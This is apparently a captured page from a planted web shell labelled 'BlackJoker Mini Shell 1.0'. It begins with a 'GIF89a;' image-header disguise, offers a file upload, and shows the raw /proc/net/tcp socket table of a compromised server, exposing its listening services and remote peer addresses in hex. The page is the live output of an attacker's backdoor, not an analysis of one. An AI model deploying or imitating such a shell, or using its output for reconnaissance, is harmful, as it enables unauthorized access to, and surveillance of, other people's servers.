GIF89a; Mini Shell

Mini Shell

Direktori : /proc/10944/net/
Upload File :
Current File : //proc/10944/net/tcp

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:2BE2 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13055 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:03E3 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26656 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0243 00000000:0000 0A 00000000:0000002E 00:00000000 00000000     0        0 22772 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:082B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22798 1 0000000000000000 100 0 0 10 5                     
   4: 00000000:006E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26654 1 0000000000000000 100 0 0 10 0                     
   5: 00000000:008F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26684 1 0000000000000000 100 0 0 10 0                     
   6: 0100007F:030F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22918 1 0000000000000000 100 0 0 10 0                     
   7: 00000000:048F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20386 1 0000000000000000 100 0 0 10 0                     
   8: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22930 1 0000000000000000 100 0 0 10 0                     
   9: 7C86A16C:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21783 1 0000000000000000 100 0 0 10 5                     
  10: 0100007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21781 1 0000000000000000 100 0 0 10 5                     
  11: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19008 1 0000000000000000 100 0 0 10 0                     
  12: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18419 1 0000000000000000 100 0 0 10 0                     
  13: 0100007F:03B9 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21833 1 0000000000000000 100 0 0 10 64                    
  14: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22934 1 0000000000000000 100 0 0 10 0                     
  15: 00000000:081D 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22796 1 0000000000000000 100 0 0 10 5                     
  16: 00000000:081E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22797 1 0000000000000000 100 0 0 10 5                     
  17: 00000000:03E1 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26686 1 0000000000000000 100 0 0 10 0                     
  18: 0100007F:0243 0100007F:A91C 08 00000000:00000228 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  19: 0100007F:0243 0100007F:A92E 08 00000000:00000229 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  20: 7C86A16C:0050 8AD949D8:53E4 06 00000000:00000000 03:00000D70 00000000     0        0 0 3 0000000000000000                                      
  21: 7C86A16C:0050 10ABBFB9:D462 06 00000000:00000000 03:000015E8 00000000     0        0 0 3 0000000000000000                                      
  22: 7C86A16C:0016 3A0AA0A4:DB40 01 00000000:00000000 02:000AF96F 00000000     0        0 27553330 2 0000000000000000 47 4 30 10 7                  
  23: 7C86A16C:0050 58907772:9861 06 00000000:00000000 03:00000893 00000000     0        0 0 3 0000000000000000                                      
  24: 7C86A16C:0050 D160D055:7872 06 00000000:00000000 03:00000828 00000000     0        0 0 3 0000000000000000                                      
  25: 0100007F:0243 0100007F:A8B2 08 00000000:00000208 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  26: 7C86A16C:0050 8AD949D8:FBD3 06 00000000:00000000 03:00001186 00000000     0        0 0 3 0000000000000000                                      
  27: 7C86A16C:0050 BD75802F:7092 06 00000000:00000000 03:000006A2 00000000     0        0 0 3 0000000000000000                                      
  28: 7C86A16C:0015 18F4A2CE:AFC4 01 00000000:00000000 00:00000000 00000000     0        0 27507104 1 0000000000000000 23 4 0 10 -1                  
  29: 7C86A16C:01BB AC8F7772:56A1 06 00000000:00000000 03:00000FCD 00000000     0        0 0 3 0000000000000000                                      
  30: 0100007F:0243 0100007F:A8A4 08 00000000:00000201 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  31: 7C86A16C:0050 10ABBFB9:8896 06 00000000:00000000 03:000016DF 00000000     0        0 0 3 0000000000000000                                      
  32: 7C86A16C:0015 EDAF0D6A:D3AA 01 00000000:00000000 00:00000000 00000000     0        0 27514919 1 0000000000000000 70 4 0 10 -1                  
  33: 7C86A16C:0050 E417802F:2EFC 06 00000000:00000000 03:0000078A 00000000     0        0 0 3 0000000000000000                                      
  34: 0100007F:0243 0100007F:A87C 08 00000000:0000022D 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  35: 0100007F:0243 0100007F:A922 08 00000000:0000022D 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  36: 7C86A16C:0050 31967772:F5FF 06 00000000:00000000 03:000011C1 00000000     0        0 0 3 0000000000000000                                      
  37: 0100007F:0243 0100007F:A878 08 00000000:00000206 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  38: 0100007F:0243 0100007F:A860 08 00000000:00000234 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  39: 7C86A16C:0015 D4CB9267:D7DC 01 00000000:00000000 00:00000000 00000000     0        0 27522281 1 0000000000000000 60 4 0 10 -1                  
  40: 7C86A16C:0050 C26F802F:2F06 06 00000000:00000000 03:000001F1 00000000     0        0 0 3 0000000000000000                                      
  41: 0100007F:0243 0100007F:A890 08 00000000:00000205 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  42: 7C86A16C:0015 6AF60595:9798 01 00000000:00000000 00:00000000 00000000     0        0 27544580 1 0000000000000000 24 4 0 10 -1                  
  43: 7C86A16C:BE9C AF6F28BC:01BB 08 00000000:00000019 00:00000000 00000000     0        0 407209 1 0000000000000000 43 4 26 4 7                     
  44: 7C86A16C:0050 8AD949D8:BD82 06 00000000:00000000 03:000006D7 00000000     0        0 0 3 0000000000000000                                      
  45: 0100007F:0243 0100007F:A918 08 00000000:00000229 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  46: 0100007F:0243 0100007F:A85E 08 00000000:0000020D 00:00000000 00000000     0        0 29313 1 0000000000000000 20 4 30 10 -1                    
  47: 7C86A16C:0050 FB17802F:4E4A 06 00000000:00000000 03:000016B5 00000000     0        0 0 3 0000000000000000                                      
  48: 0100007F:0243 0100007F:A8AC 08 00000000:00000209 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  49: 7C86A16C:0015 1BCE5A2F:B65C 01 00000000:00000000 00:00000000 00000000     0        0 27496900 1 0000000000000000 24 4 0 10 -1                  
  50: 7C86A16C:0050 8AD949D8:7509 06 00000000:00000000 03:0000158A 00000000     0        0 0 3 0000000000000000                                      
  51: 7C86A16C:0050 3A937772:5D77 06 00000000:00000000 03:00000EBE 00000000     0        0 0 3 0000000000000000                                      
  52: 7C86A16C:0050 D260D055:EA80 06 00000000:00000000 03:00000743 00000000     0        0 0 3 0000000000000000                                      
  53: 7C86A16C:0050 02ABBFB9:C8A8 06 00000000:00000000 03:00001085 00000000     0        0 0 3 0000000000000000                                      
  54: 0100007F:0243 0100007F:A8A6 08 00000000:00000228 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  55: 0100007F:0243 0100007F:A886 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  56: 0100007F:0243 0100007F:A89C 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  57: 7C86A16C:0050 C0917772:533B 06 00000000:00000000 03:00000DCF 00000000     0        0 0 3 0000000000000000                                      
  58: 7C86A16C:0050 02ABBFB9:C540 06 00000000:00000000 03:00000B75 00000000     0        0 0 3 0000000000000000                                      
  59: 7C86A16C:0015 8AE99176:CF72 01 00000000:00000000 00:00000000 00000000     0        0 27472687 1 0000000000000000 57 4 0 10 -1                  
  60: 0100007F:0243 0100007F:A8AE 08 00000000:00000230 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  61: 0100007F:0243 0100007F:A8A0 08 00000000:00000204 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  62: 7C86A16C:01BB DB977772:6EF9 06 00000000:00000000 03:00001154 00000000     0        0 0 3 0000000000000000                                      
  63: 0100007F:0243 0100007F:A892 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  64: 7C86A16C:0050 8AD949D8:6AC9 06 00000000:00000000 03:00000356 00000000     0        0 0 3 0000000000000000                                      
  65: 0100007F:0243 0100007F:A88C 08 00000000:0000022A 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  66: 7C86A16C:0050 8AD949D8:8C54 01 00000672:00000000 01:00000005 00000000    99        0 27554449 4 0000000000000000 22 4 1 12 18                  
  67: 7C86A16C:0015 3211AE69:E4E6 01 00000000:00000000 00:00000000 00000000     0        0 27526463 1 0000000000000000 60 4 0 10 -1                  
  68: 0100007F:0243 0100007F:A87A 08 00000000:00000200 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  69: 0100007F:0243 0100007F:A91A 08 00000000:0000022A 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  70: 0100007F:0243 0100007F:A8A2 08 00000000:0000022B 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        

./BlackJoker Mini Shell 1.0